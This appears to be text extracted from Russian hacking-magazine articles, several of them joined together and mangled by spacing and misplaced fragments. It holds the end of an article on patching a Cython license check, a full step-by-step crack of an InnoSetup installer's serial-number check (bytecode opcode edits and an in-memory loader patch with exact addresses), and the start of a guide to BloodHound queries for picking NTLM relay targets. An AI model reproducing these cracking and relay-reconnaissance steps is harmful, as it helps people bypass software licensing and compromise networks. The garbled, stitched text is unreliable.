.text:000025209 48 C7 44 24 60 00 00 00+ mov     [rsp+148h+func], 0 
.text:000025209 00 
.text:000025212 0F 94 C3                 setz    bl 
.text:000025215 48 3B 2D 14 BD 21 00     cmp     rbp, cs:_Py_
FalseStruct_ptr 
.text:00002521C 0F 94 C0                 setz    al 
.text:00002521F 08 D8                    or      al, bl 
.text:000025221 0F 84 87 04 00 00        jz      loc_256AE 

Поп робу ем инту итив но понять смысл дан ной конс трук ции. Для это го рас- 
смот рим исполь зуемые внут ри нее внеш ние фун кции и методы.

, как мы уже поняли из ском пилиро ван ного при мера, скла- 

дыва ет аргу мен ты и воз вра щает скле енный резуль тат;
, как нет рудно догадать ся по наз ванию, воз вра- 

щает атри бут объ екта, а  — эле мент сло варя.

, похоже, срав нива ет два объ екта. То есть в перево- 

де на челове чес кий язык в этом учас тке кода резуль тат сло жения двух строк
срав нива ется со зна чени ем . Про верим это, поп- 

робовав ском пилиро вать дан ное выраже ние через Cython:

_PyNumber_Add

__Pyx_PyObject_GetAttrStr
__Pyx_PyDict_GetItem

_PyObject_RichCompare

self.key["signature"]

string1="Hello"
helloworld=string1+"world"
self={}

 if helloworld==self.key["signature"]:
result="signature ok!"

На ходим резуль тат ком пиляции в получив шемся коде С и видим, что чет- 
вертая стро ка сге нери рова ла такую конс трук цию:

/* "test.pyx":4
* helloworld=string1+"world"
* self={}
* if helloworld==self.key["signature"]:
*  result="signature ok!"
*/
    

   
__Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_helloworld); if (

unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_3);
    

   
__Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_self); if (unlikely(

!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_2);
      

   
__pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_key); if

(unlikely(!__pyx_t_4)) __PYX_ERR(0, 4, __pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_4);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    

     
__pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4,

__pyx_n_s_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4,
__pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
      

     
__pyx_t_4 = PyObject_RichCompare(__pyx_t_3, __pyx_t_2, Py_EQ);

__Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 4,
__pyx_L1_error)
    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
     

     
__pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((

__pyx_t_5 < 0))) __PYX_ERR(0, 4, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;

В прин ципе, это прак тичес ки соот ветс тву ет нашему ассем блер ному коду.
Но если ты дума ешь, что для пат ча про вер ки сиг натуры дос таточ но закоро- 
тить условный переход , то силь но заб лужда ешь ся. Пос коль ку

резуль тат  вов се не бинарен (это пол ноцен ный
питонов ский объ ект), то сле дом нас ждут даль нейшие про вер ки и нам при- 
дет ся закора чивать их все:

jz loc_256AE
PyObject_RichCompare

.text:0000256AE 48 3B 2D A3 B8 21 00  cmp rbp, cs:_Py_NoneStruct_ptr 

.text:0000256B5 0F 84 6C FB FF FF     jz  loc_25227  ; Первая 

.text:0000256BB 48 89 EF              mov rdi, rbp 

.text:0000256BE 4C 89 4C 24 08        mov [rsp+148h+var_140], r9 

.text:0000256C3 E8 88 1D FE FF        call_PyObject_IsTrue 

.text:0000256C8 85 C0                 testeax, eax 

.text:0000256CA 89 C3                 mov ebx, eax 

.text:0000256CC 4C 8B 4C 24 08        mov r9, [rsp+148h+var_140] 

.text:0000256D1 0F 89 53 FB FF FF     jns loc_2522A  ; Вторая 

.text:0000256D7 BE A8 31 00 00        mov esi, 31A8h 

В таком виде обход про вер ки лицен зии прек расно работа ет, чего мы
и добива лись. Как видишь, при дос таточ ной сно ров ке, наличии сво бод ного
вре мени и мотива ции впол не реаль но пол ностью ревер сировать про цеду ру
генера ции сиг натуры. Но это ты можешь про делать самос тоятель но, исполь- 
зуя изло жен ные в статье прин ципы.

https://xakep.ru/2022/08/22/excelsior-jet/
https://xakep.ru/2023/08/15/pyinstall-reverse/
https://ru.wikipedia.org/wiki/Cython
https://ru.wikipedia.org/wiki/Pyrex_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)


ЛОМАЕМ ИНСТАЛЛЯТОР 
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МВК

ВЗЛОМ

Ес ли уста нов ка прог раммы про тека ет сов- 
сем не так, как хочет ся поль зовате лю, при- 
ходит ся вме шивать ся в работу инстал- 
лятора. Сегод ня мы погово рим о том,
как устро ен инстал ляци онный пакет
InnoSetup, и научим ся менять его логику
изнутри.

WARNING

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

В статье «
» я писал, что час тень ко при ходит ся допили вать не толь ко саму

прог рамму, но и ее инстал лятор. В той замет ке мы рас смат ривали прин ципы
реверс-инжи нирин га и пат чинга инстал ляци онных пакетов, соз данных
при помощи инстал лятора InstallShield (MSI). Сегод ня нашей целью будет дру- 
гой популяр ный пакет — InnoSetup. Думаю, этот тип инстал ляторов нас толь ко
широко рас простра нен, что не нуж дает ся в под робном опи сании, поэто му
сра зу перей дем к кон крет ной задаче.

Ло маем инстал лятор. Как обма нуть инстал лятор MSI методом
для ленивых

Итак, у нас име ется уста нов щик для неко его гра фичес кого пла гина, офор- 
млен ный в виде самодос таточ ного исполня емо го EXE-модуля. При запус ке
он про сит ввес ти серий ный номер, судя по все му, про веря ет его на уда лен- 
ном сер вере и при неп равиль ном вво де выда ет сооб щение об ошиб ке.

От крыв наш инстал лятор в Detect It Easy, выяс няем сра зу два фак та: во-пер- 
вых, это наш паци ент, а во-вто рых, InnoSetup нас квозь писан на Delphi.

Как под ска зыва ет опыт, откры вать инстал лятор в IDA нет ни малей шего смыс- 
ла. Преж де все го, это дель фи, тут ско рее помог бы IDR. С дру гой сто роны,
файл чуть менее чем целиком сос тоит из упа кован ного или зашиф рован ного
овер лея (стро ка Serial Number is invalid пред ска зуемо не находит ся в нем
в откры том виде), то есть его заг рузчик не несет ничего полез ного
для решения нашей проб лемы.

По это му сра зу поп робу ем пощупать про цеду ру про вер ки серий ного
номера «изнутри», в про цес се работы прог раммы. Заг рузив инстал лятор
в отладчик x64dbg, мы обна ружи ваем, что наши пред положе ния вер ны. Заг- 
рузчик порож дает нес коль ко про цес сов, которые далее живут собс твен ной
жизнью незави симо от него. В час тнос ти, окно сооб щения и все осталь ные
диало говые окна вызыва ются из про цес са, порож даемо го модулем, который
находит ся во вло жен ной пап ке  катало га вре мен ных фай лов
сис темы.

\is-JJ5LI.tmp

При заг рузке инстал лятор пер во-напер во соз дает этот каталог, рас- 
паковы вает в него дан ный модуль, который потом запус кает, а в кон це
инстал ляции уби рает за собой, уда ляя и файл, и каталог. Рас смот рим этот
модуль более деталь но.

Стро ка  отсутс тву ет в откры том виде и здесь

тоже. Detect It Easy не говорит про модуль ничего внят ного, кро ме того, что он
тоже написан на Delphi и содер жит в ресур се еще один модуль, написан ный
на Microsoft Visual C.

Serial Number is invalid

Поп робу ем коп нуть чуть глуб же: атта чим ся с помощью x64dbg к про цес су
в момент появ ления диало гово го окна . Код

вызова MessageBox выг лядит при мер но так:

"Serial Number is invalid"

... 
005B8CBB | mov dword ptr fs:[ecx],esp 
005B8CBE | push esi 
 ; [ebp-8]:L"Setup"

005B8CBF | mov eax,dword ptr ss:[ebp-8] 
005B8CC2 | push eax 
; edi:L"Serial Number is invalid. Please enter valid license you 
received or contact support"
005B8CC3 | push edi 
005B8CC4 | push ebx 
005B8CC5 | call <JMP.&MessageBoxW> 
005B8CCA | mov dword ptr ss:[ebp-C],eax 
005B8CCD | xor eax,eax 
005B8CCF | pop edx 
005B8CD0 | pop ecx 
... 

От крыв модуль в IDR и най дя этот фраг мент кода, мы видим, что он явля ется
частью метода , — что ж, впол не логич- 

но. Поп робу ем теперь отсле дить, отку да было выз вано это сооб щение
об ошиб ке.

_Unit72.TApplication.MessageBox

От кры ваем вклад ку «Стек вызовов» и бук валь но семью вло жени ями выше
(или ниже, кому как боль ше нра вит ся) обна ружи ваем инте рес ный метод

. Этот метод и по наз ванию, и по логике работы
силь но напоми нает так час то встре чаемый нами интер пре татор шитого
байт-кода. Лег ко и прос то находит ся мес то выбор ки и рас шифров ки текущей
коман ды.

_Unit76.TPSExec.RunScript

На скрин шоте вид но, что байт-код извле кает ся в регистр  из потока

по адре су , где  — базовый адрес текущей про цеду ры, а  —

текущее сме щение отно ситель но него. Что же это за скрип ты такие и какой
байт-код им соот ветс тву ет?

esi
[edx+eax] edx eax

По гуг лив по наз ванию клас са , мы сра зу натыка емся на тер мин

. В двух сло вах — это пас калепо доб ный скрип товый язык, исполь- 
зуемый, в час тнос ти, в сце нари ях InnoSetup.

TPSExec
Pascal Script

Как толь ко мы разоб рались, с чем име ем дело, даль нейший путь прев- 
раща ется в ско рос тное шос се. Для начала поп робу ем вытащить ском пилиро- 
ван ный байт-код скрип та из инстал лятора. Ока зыва ется, для это го вов се
не обя затель но тан цевать с буб ном, дам пя ском пилиро ван ный байт-код
из памяти отладчи ка. Спе циаль но обу чен ные энту зиас ты соз дали нес коль ко
про ектов рас паков щиков дис три бути вов InnoSetup, при чем с откры тым
кодом. Нап ример,  и . Запус тив  из пос ледне го

пакета с клю чом , мы получа ем информа цию о встро енном в него Pascal-

скрип те (не путать с инстал ляци онным скрип том , пред став ляющим
собой спи сок фай лов уста нав лива емо го дис три бути ва):

innoextract innounp innounp.exe
-m

.iss

 
 

 

 

 

 
 

; Version detected: 6100 (Unicode)

Compression used: lzma

Files: 457 ; Bytes: 218186809

Compiled Pascal script: 10715 byte(s)

Ес ли мы рас паку ем дис три бутив этой ути литой с клю чом , то ком пилиро- 

ван ный код Pascal Script будет сох ранен в файл с капитан ским наз вани ем
. Что же за код находит ся внут ри дан ного фай ла?

-m

CompiledCode.bin
По счастью, и здесь от нас не тре бует ся изоб ретать велоси пед — все уже

при дума но до нас. Слег ка погуг лив, находим про ект IFPSTools, вклю чающий
в себя дизас сем блер . Сущес тву ет даже весь ма тол- 
ковый деком пилятор CompiledCode в исходный пас калев ский код Inno Setup
Decompiler. К сожале нию, про ект, похоже, мертв, одна ко сам деком пилятор
все еще мож но ска чать по . С него мы и нач нем иссле довать наш код.
Доволь но быс тро мы находим в нем вызов окна сооб щения:

Pascal Script ifpsdasm

ссыл ке

...
  v_58 := 'Status';
  v_59 := 0;
  v_60 := v_1;
     v_54 := IDISPATCHINVOKE(v_60, v_59, v_58, v_55);
    v_53 := v_54 < 500;
    v_45 := v_45 and v_53;

label_8570:
   flag := not v_45;

         if flag then goto label_8846; Этот переход надо заменить безусловным
label_8583:

  v_62 := 0;
  v_63 := 2;
  v_64 := 'Serial Number is invalid. Please enter valid license you 

received or contact support';
    v_61 := MSGBOX(v_64, v_63, v_62);

  result := 0;
 goto label_8858;

label_8846:
  result := 1;

label_8858:
 goto label_9271;

...

Поп робу ем теперь най ти это мес то в ском пилиро ван ном коде, что бы поп- 
равить его. Дизас сем бли ровав  при помощи ifpsdasm,

находим ассем блер ный экви валент при веден ного выше скрип тового кода:

CompiledCode.bin

... 
500   lt Var3, Var4, S32( )

 3    pop          ; StackCount =
   and Var2, Var3 

 2    pop          ; StackCount =
loc_4ec: 
   sfz Var2 

 1    pop          ; StackCount =
   jf loc_600   ; Этот переход надо заменить безусловным 

 2    pushtype S32 ; StackCount =
 3    pushtype S32 ; StackCount =

0   assign Var3, S32( )
 4    pushtype TMSGBOXTYPE ; StackCount =

2   assign Var4, TMSGBOXTYPE( )
 5    pushtype UnicodeString_2 ; StackCount =

   assign Var5, UnicodeString_3("Serial Number is invalid. Please 
enter valid license you received or contact support")

 6    pushvar Var2 ; StackCount =
   call MSGBOX 

 5    pop ; StackCount =
 4    pop ; StackCount =
 3    pop ; StackCount =
 2    pop ; StackCount =
 1    pop ; StackCount =

0   assign RetVal, BOOLEAN( )
   jump loc_60c 
loc_600: 

1   assign RetVal, BOOLEAN( )
loc_60c: 
... 

Да лее нас ожи дает неболь шой затык: нес мотря на то что и деком пилиро ван- 
ный, и дизас сем бли рован ный лис тинги у нас име ются, при вязать их к бинар- 
ному байт-коду — не такая уж три виаль ная задача. Дело в том, что ifpsdasm
весь ма спе цифи чес кий инс тру мент, в котором (как и в IDA, нап ример) нель зя
так прос то взять и вклю чить сме щения и опко ды для каж дой коман ды.

Сис тема опко дов PascalScript столь спе цифич на, что в откры том дос тупе
таб лицы опко дов не най ти, как мы это делали для IL или JVM. Нем ного
выруча ет то, что мы рас полага ем исходни ками ifpsdasm, и, будь у нас чуть
боль ше усид чивос ти, мы бы, конеч но, добави ли тре буемые фун кции в наш
про ект. Но мы, как обыч но, пой дем инту итив ным путем наимень шего соп- 
ротив ления. Поис кав по исходно му коду про екта IFPSTools, мы находим пару
фай лов, содер жащих ком менти рован ную информа цию о сис теме команд
и опко дах это го интер пре тато ра:  и 

. В час тнос ти, пос ледний файл содер жит неч то, напоми нающее

таб лицу опко дов:

\IFPSLib\Emit\OpCodes.cs \IFPSLib\
Emit\Code.cs

...
    public enum Code : ushort

{
  Assign,
  Calculate,
  Push,
  PushVar,
      Pop, // =4 pop
  Call,
     Jump, // =6 opcode безусловный jump
  JumpNZ,
  JumpZ,
  Ret,
  SetStackType,
  PushType,
  Compare,
  CallVar,
    SetPtr, // Removed between 2003 and 2005
  SetZ,
  Neg,
   SetFlag, // =0x11 opcode sfz
     JumpF, // =0x12 opcode jf
  StartEH,
  PopEH,
  Not,
   ...
        SetFlagNZ = (SetFlag << 8) | (SetFlagOpCode.NotZero),
            SetFlagZ = (SetFlag << 8) | (SetFlagOpCode.Zero), // 0x11 00  
sfz

...

По раз мыслив логичес ки, мы находим мес то, напоми нающее нам нуж ный
фраг мент кода:

   pop ; StackCount = 2  <- Выделено красным 
loc_4ec: 
   sfz Var2              <- Выделено желтым 
   pop ; StackCount = 1  <- Выделено красным 
   jf loc_600            <- Выделено серым 

Пос ледний переход (выделен ный серым) нуж но заменить безус ловным.

Итак, для пол ного счастья нам необ ходимо все го-нав сего испра вить в заг- 
ружен ном ком пилиро ван ном байт-коде выделен ный серым байт  на .

Про верим эту гипоте зу пря мо в отладчи ке, который мы пре дус мотри тель но
оста вили откры тым на интер пре тиру емом байт-коде в окне дам па.

0x12 06

Пря мо в нем меня ем тре буемый байт с 12 на 6 и нажима ем кноп ку Next.
Бин го, любой вве ден ный код при нима ется, не вызывая ошиб ки!

Но, как обыч но, самая веселая часть работы толь ко начина ется.
Мы разоб рались, что имен но надо поменять в ском пилиро ван ном скрип- 

те, что бы он при нимал любой код. Одна ко как поменять исправ ленный код
в инстал ляторе? Поп равить ана логич но тому, как мы это делали в InstallShield,
не получит ся — алго ритм крип тования не сво дит ся к прос тому XOR по мас ке,
тут пол ноцен ный алго ритм сжа тия, при чем такой экзо тичес кий, как LZMA.
Вооб ще говоря, по уму сле дова ло бы перепа ковать инстал лятор, хотя
это очень неп росто.

Воз можно, я ког да-нибудь напишу отдель ную статью об этом, сей час же я
прос то в двух сло вах обри сую нап равле ние, в котором жела ющие могут
самос тоятель но поп робовать свои силы. Фор мат орга низа ции инстал ляци- 
онных архи вов InnoSetup ниг де не докумен тирован, одна ко, как я уже
говорил, есть про екты с откры тым кодом innounp и innoextract. Вни матель но
разоб равшись с кодом этих про ектов (осо бен но полезен в этом пла не
innounp), мож но написать свой собс твен ный перепа ков щик. Мож но най ти
обходной путь и для основной слож ности это го про цес са — отсутс твия в пуб- 
личном дос тупе исходных кодов спе цифи чес кого для InnoSetup ком прес сора
LZMA (да, к сожале нию, во всех этих про ектах есть толь ко деком прес сор,
алго ритм ком прес сии ниг де не докумен тирован). Но фор мат сжа тия под- 
разуме вает исполь зование нес коль ких алго рит мов, помимо LZMA (zlib, bzip
или вооб ще без ком прес сии). Собс твен но, самый прос той выход — оста вить
резуль тиру ющий стрим вооб ще без сжа тия.

А напос ледок, как обыч но, я рас крою самый ленивый и быс трый спо соб
пат ча дис три бути ва без его перес борки. В этом нам сно ва поможет лоадер.
Для тех, кто про гули вал пос вящен ные лоаде рам уро ки, я рас ска жу в двух сло- 
вах общий прин цип этой тех нологии.

Ее суть зак люча ется в том, что если невоз можно поп равить прог рамму
на дис ке (при заг рузке она динами чес ки рас шифро выва ется или рас паковы- 
вает ся в опе ратив ную память компь юте ра), то для нее соз дает ся лоадер —
заг рузоч ная прог рамма, которая запус кает ее из себя, а потом ищет
и заменя ет нуж ные бай ты пря мо в рас пакован ном обра зе в памяти. Сущес- 
тву ет мно жес тво стан дар тных готовых лоаде ров, но нам нужен спе цифи чес- 
кий, работа ющий по опре делен ным прин ципам.

Наш лоадер дол жен искать в памяти про цесс (точ нее, все про цес сы),
соот ветс тву ющий интер пре тато рам PascalScript, и пат чить его таким обра- 
зом, что бы в нуж ной про цеду ре интер пре тиру емо го скрип та байт со зна чени- 
ем  по сме щению  отно ситель но начала текущей про цеду ры пат- 

чился на 6.

0x12 0x4f4

По здра вом раз мышле нии мы при ходим к выводу, что самый пра виль ный
и надеж ный спо соб — что бы интер пре татор сам же и пат чил код во вре мя
интер пре тации. Поэто му встра иваем про вер ку с пат чем пря мо в мес то
выбор ки текуще го опко да. Естес твен но, мес та для тре буемо го дей ствия там
нет, поэто му ищем в сек ции сво бод ное мес то и дела ем переход на него
с пос леду ющим воз вра том на сле дующие коман ды. Переход длин ный, поэто- 
му при дет ся пожер тво вать дву мя коман дами.

Бы ло:

005EB119 | mov eax,dword ptr ss:[ebp-4] 
005EB11C | mov eax,dword ptr ds:[eax+5C] 
005EB11F | mov edx,dword ptr ss:[ebp-4] 
005EB122 | mov edx,dword ptr ds:[edx+54] 
005EB125 | movzx esi,byte ptr ds:[edx+eax] 
005EB129 | mov eax,dword ptr ss:[ebp-4] 
005EB12C | inc dword ptr ds:[eax+5C] 

Ста ло:

005EB119 | mov eax,dword ptr ss:[ebp-4] 
005EB11C | mov eax,dword ptr ds:[eax+5C] 
005EB11F | mov edx,dword ptr ss:[ebp-4] 
005EB122 | mov edx,dword ptr ds:[edx+54] 
005EB125 | jmp 6C1FAC 
005EB12A | nop 
005EB12B | nop 
005EB12C | inc dword ptr ds:[eax+5C] 

Ку сок кода, который мы встав ляем по сме щению , выг лядит так:6C1FAC

; Команды, «позаимствованные» нами с адреса 5EB125 
006C1FAC | movzx esi,byte ptr ds:[edx+eax] 
006C1FB0 | mov eax,dword ptr ss:[ebp-4] 
; Проверка нужной процедуры: по смещению 4F4 от ее начала должна 
стоять команда условного перехода 12 07 01 00 
006C1FB3 | cmp dword ptr ds:[edx+4F4],10712 
; Если нет, то возврат 
006C1FBD | jne 5EB12C 
; Если да, меняем на безусловный переход, опкод 6 
006C1FC3 | mov byte ptr ds:[edx+4F4],6 
; Спокойно возвращаемся назад 
006C1FCA | jmp 5EB12C 

Итак, еще раз резюми руем прин цип работы лоаде ра. При заг рузке инстал- 
лятора и пос ле нахож дения про цес са интер пре тато ра Pascal Script он пат чит
в нем два мес та: по адре су  встав ляет 7 байт, соот ветс тву ющих

перехо ду на , и по адре су  встав ляет 35 байт, соот ветс тву ющих
коду про вер ки и пат ча байт-кода. В ито ге у нас получил ся некий двух сту пен- 
чатый патч: лоадер пат чит интер пре татор, который, в свою оче редь, пат чит
байт-код. Мораль: на какие толь ко извра щения не при ходит ся идти, если лень
делать работу пря мым, но тер нистым путем!

5EB125
6C1FAC 6C1FAC

https://xakep.ru/2020/09/07/msi-hack/
https://wiki.freepascal.org/Pascal_Script/ru
https://github.com/dscharrer/innoextract
https://github.com/WhatTheBlock/innounp/tree/main
https://github.com/Wack0/IFPSTools.NET/tree/master/ifpsdasm
https://github.com/dscharrer/innoextract/files/5507287/isdsetup.1.5.exe.zip
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ВЗЛОМ

Преж де чем при менять тех нику NTLM Relay,
необ ходимо соб рать информа цию
об иссле дуемом объ екте и выб рать пер- 
вооче ред ные цели. Но как это сде лать,
если ата куемая сеть нас читыва ет мно гие
десят ки или сот ни узлов? На помощь при- 
дет очень полез ный и удоб ный инс тру- 
мент — BloodHound!

INFO

Ре комен дуем начать зна комс тво с ата ками NTLM
Relay со ста тей «

» и «
».

Гид по NTLM Relay. Зах ватыва ем
NTLM-аутен тифика цию для Relay-ата ки Гид
по NTLM Relay, часть 2. Про водим Relay-ата ки

ÎÏÈÑÀÍÈÅ ÏÐÎÁËÅÌÛ

С исполь зовани ем ата ки NTLM Relay мож но зах ватить зачас тую не одну
машину, а иног да даже весь домен. Такая ата ка может быть край не
эффектив ной, но сна чала нуж но качес твен но про ана лизи ровать информа цию
об инте ресу ющей нас цели. Это нес ложно, ког да мы находим ся в отно ситель- 
но неболь шом домене, но чем обширнее сетевая инфраструк тура, тем труд- 
нее ста новит ся изу чать вза имос вязи объ ектов и выис кивать пути повыше ния
при виле гий. Поп робу ем разоб рать ся, как про водить качес твен ный ана лиз
в подоб ных слу чаях.

Для ана лиза вза имос вязей был при думан инс тру мент BloodHound. Со сво- 
ей работой он справ ляет ся неп лохо, пред став ляет архи тек туру домена в виде
гра фа, ищет пути для повыше ния при виле гий и про чее. Но «из короб ки»
у него не очень мно го прик ладных воз можнос тей. Поэто му полез но будет
научить ся искать с помощью BloodHound необыч ные век торы, нап ример
для Relay-атак.

BloodHound наибо лее эффекти вен для ана лиза сетей и доменов, нас- 
читыва ющих сот ни тысяч объ ектов, десят ки тысяч машин. С таким доменом
край не тяжело вза имо дей ство вать, некото рые методы ана лиза вооб ще
перес тают работать.

Бы вает, что ты можешь зах ватить мно го машин с помощью релея, но не
зна ешь, какую выб рать для ата ки. В этом слу чае мож но вос поль зовать ся гра- 
фами для поис ка самой инте рес ной цели.

Оче вид но, что так или ина че тех нику Relay-ата ки мож но наложить
на теорию гра фов, где машины — это вер шины, а реб ра — это воз можные
релеи, но вот с деталя ми надо разоб рать ся.

ÀÍÀËÈÇ ÑÓÙÅÑÒÂÓÞÙÈÕ ÐÅØÅÍÈÉ

Для начала заг лянем в Google и поп робу ем най ти готовые решения.
При поис ке кас томных зап росов для BloodHound мож но нат кнуть ся
на некото рые наработ ки, нап ример:

;• ly4k/Certipy
;• CompassSecurity/BloodHoundQueries

.• hausec/BloodHound-Custom-Queries

Имен но для Relay-атак сущес тву ет нес коль ко кру тых зап росов, в час тнос ти
для ESC8. С ним все дос таточ но прос то: он выводит цен тры сер тифика ции
с вклю чен ным WebEnroll. На эти цен тры сер тифика ции мож но выпол нить
Relay-ата ку, далее дело тех ники.

Вто рой зап рос от CompassSecurity, более наворо чен ный, пред назна чен
для поис ка в сети компь юте ров, вхо дящих в груп пу локаль ных адми нис тра- 
торов дру гих машин. Выг лядит он так:

{
      "name": "Computers Local Admin to Another Computer",

      "category": "Relay",
      "queryList": [

       {
          "final": false,
          "title": "Select a Domain...",
          "query": "MATCH (n:Domain) RETURN n.name ORDER BY n.name 

DESC"
       },
       {

          "final": true,
          "query": "MATCH p = (c1:Computer {domain: $result})-[r1:

AdminTo]->(c2:Computer) RETURN p UNION ALL MATCH p = (c3:Computer {
domain: $result})-[r2:MemberOf|HasSIDHistory*1..]->(g:Group)-[r3:
AdminTo]->(c4:Computer) RETURN p"
       }
     ]
   }

Вот какие резуль таты мож но получить, исполь зуя этот зап рос.

Ре зуль тат выпол нения зап роса на поиск машин в локаль ных адми нах
машин

Очень мно го машин неяв но находит ся друг у дру га в груп пе локаль ных адми- 
нис тра торов, что соз дает мно жес тво век торов для их зах вата. На рисун ке
выше показа на общая кар тина, а если ее приб лизить и рас смот реть вни- 
матель нее, мы уви дим сле дующее.

Мно жес тво машин явля ются адми нами на нес коль ких дру гих машинах

Од на машина явля ется адми ном на мно жес тве машин

Вот такой кра сивый «цве точек» из сер веров Exchange встре чает ся очень час- 
то.

«Цве точек» из сер веров Exchange

По лучил ся резуль татив ный ана лиз вза имос вязей компь юте ров — с помощью
этой информа ции мож но под нять при виле гии в домене. Ког да вывод
BloodHound содер жит боль шое количес тво машин, про верить все вруч ную
ста новит ся проб лематич но. Если наз вания компь юте ров ни о чем тебе
не говорят, непонят но, какую сле дует зах ватывать в пер вую оче редь. А что
самое важ ное — на хос те может быть вклю чен SMB signing, и тог да у нас
вооб ще ничего не получит ся.

INFO

Иног да машина уже находит ся в груп пе адми нис- 
тра торов домена. Не забудь про верить это, преж- 
де чем искать слож ные пути, такая про вер ка дос- 
таточ но прос то выпол няет ся вруч ную.

Бы вает, что мы не можем получить информа цию о локаль ных адми нах на кон- 
крет ной машине. Но зато можем пред положить по наз вани ям групп или их
опи сани ям, зачем они были соз даны. Нап ример, имя 

говорит само за себя. Так же зачас тую машины и поль зовате ли вклю чены
в одну груп пу. Если вдруг два этих усло вия будут соб людены, мы можем про- 
бовать повысить при виле гии с помощью релея. Для поис ка сме шан ного
членс тва в груп пах мож но исполь зовать зап рос от Hausec:

ADM_Servers_backups

{
      "name": "Find groups that contain both users and computers",

      "queryList": [
       {

          "final": true,
          "query": "MATCH (c:Computer)-[r:MemberOf*1..]->(

groupsWithComps:Group) WITH groupsWithComps MATCH (u:User)-[r:
MemberOf*1..]->(groupsWithComps) RETURN DISTINCT(groupsWithComps) as 
groupsWithCompsAndUsers"
       }
     ]
   }

Обез личен ный при мер выпол нения зап роса

Продолжение статьи →

https://t.me/VlaDriev
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https://github.com/ly4k/Certipy
https://github.com/CompassSecurity/BloodHoundQueries
https://github.com/hausec/Bloodhound-Custom-Queries
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Стан дар тных атри бутов, которые собира ются с помощью 

или , нам будет малова то. Поэто му надо добавить свои.

Ребята из CompassSecurity написа ли скрипт для добав ления новых атри- 
бутов, а так же пред ложили спе циаль ный атри бут . Одна ко пред- 
варитель но нам надо соб рать информа цию о машинах без SMB signing.

SharpHound.exe
BloodHound.py

nosigning

WARNING

Даль нейшие дей ствия пред полага ют обра бот ку
зна чений DNSHostName, а не IP-адре сов.

Для сбо ра информа ции о наличии SMB signing исполь зуем .

О том, как это сде лать, под робно написа но в стать ях «
» и «

».

CrackMapExec
Гид по NTLM Relay. Зах- 

ватыва ем NTLM-аутен тифика цию для Relay-ата ки Гид по NTLM Relay,
часть 2. Про водим Relay-ата ки

Ког да у нас есть спи сок машин без SMB signing, добав ляем новый атри бут
с помощью сле дующе го скрип та:

 s python3 BloodHoundLoader.py t.txt -m

Пос ле это го мы можем задей ство вать зап росы, исполь зующие новый атри- 
бут. Все у того же CompassSecurity име ется пара зап росов, которые ука жут
нам путь от машин без SMB signing до домена и до при виле гиро ван ных объ- 
ектов. Выг лядит это при мер но так:

{
      "name": "Shortest Paths from no Signing to High Value Targets",

      "category": "Shortest Paths",
      "queryList": [

       {
          "final": true,
          "query": "MATCH p = allShortestPaths((c:Computer)-[r:{}

*1..]->(h)) WHERE NOT c = h AND c.hassigning = false AND h.highvalue 
= true RETURN p"
       }
     ]
   }

{
      "name": "Shortest Paths from no Signing to Domain",

      "category": "Shortest Paths",
      "queryList": [

       {
          "final": false,
          "title": "Select a Domain...",
          "query": "MATCH (d:Domain) RETURN d.name ORDER BY d.name 

ASC"
       },
       {

          "final": true,
          "query": "MATCH p = allShortestPaths((c:Computer)-[r:{}

*1..]->(d:Domain)) WHERE c.hassigning = false AND d.name = $result 
RETURN p",

          "endNode": "{}"
       }
     ]
   }

Пу ти повыше ния до при виле гиро ван ных целей

Пу ти повыше ния до домена от машин без SMB signing

Кру то, но есть нюанс. Эти зап росы помога ют лишь понять, какую машину
было бы полез но зах ватить, но не каж дая машина без SMB signing уяз вима
для атак. Ког да мы не зна ем, чей хеш нам при летит, луч ше выпол нять релей
на машину, от которой име ется путь до зах вата домена. При мера ми таких
слу чаев слу жат спу финг-ата ки или исполь зование ярлы ков.

И здесь мы пер вый раз про явля ем твор чес тво: нем ного дораба тыва ем
зап рос для поис ка машин, которые явля ются адми нами на дру гих машинах.
Сде лать это мож но, добавив в изна чаль ный зап рос пару усло вий, и выг лядеть
он будет при мер но так:

{
      "name": "Computers Local Admin to Another Computer without 

signing",
      "category": "Relay",
      "queryList": [

       {
          "final": false,
          "title": "Select a Domain...",
          "query": "MATCH (n:Domain) RETURN n.name ORDER BY n.name 

DESC"
       },
       {

          "final": true,
          "query": "MATCH p = (c1:Computer {domain: $result})-[r1:

AdminTo]->(c2:Computer) WHERE c2.hassigning = false RETURN p UNION 
ALL MATCH p = (c3:Computer {domain: $result})-[r2:
MemberOf|HasSIDHistory*1..]->(g:Group)-[r3:AdminTo]->(c4:Computer) 
WHERE c4.hassigning = false RETURN p"
       }
     ]
   }

Те перь мы отсе яли неосу щес тви мые ата ки на машины, у которых есть SMB
signing, и получи ли толь ко полез ную информа цию об узлах, на которые мож но
сде лать релей.

Ре зуль тат выпол нения зап роса для поис ка машин в адми нах дру гих
машин с уче том SMB signing

Хо рошо пред став лен резуль тат на при мере сер веров Exchange. Теперь мы
